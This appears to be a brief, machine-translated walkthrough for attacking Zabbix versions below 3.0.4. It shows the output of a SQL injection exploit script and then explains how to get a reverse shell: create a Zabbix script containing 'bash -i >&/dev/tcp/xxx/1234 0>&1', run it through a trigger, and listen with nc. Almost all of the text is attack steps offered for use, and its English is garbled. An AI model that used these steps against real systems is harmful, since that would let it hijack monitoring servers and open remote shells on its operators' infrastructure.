Zabbix SQL injection Vulnerability script Execution bounce shell

EXP detects if there is a SQL injection vulnerability
[Email protected]:~# python zabbix.py http://ip:9090/
+------------------------------------------------------------+
Python zabbix<3.0.4 SQL injection Exploit
Success
+------------------------------------------------------------+
Zabbix SQL injection vulnerability exists!

Administrator user name password: None

Administrator Session_id:none
Then sign in: Manage--script--Create script to write to bounce shell,
Bash-i >&/dev/tcp/xxx/1234 0>&1

Monitoring--trigger--host

Execute the Bounce shell script we wrote

NC Listening Port

Zabbix SQL injection Vulnerability script Execution bounce shell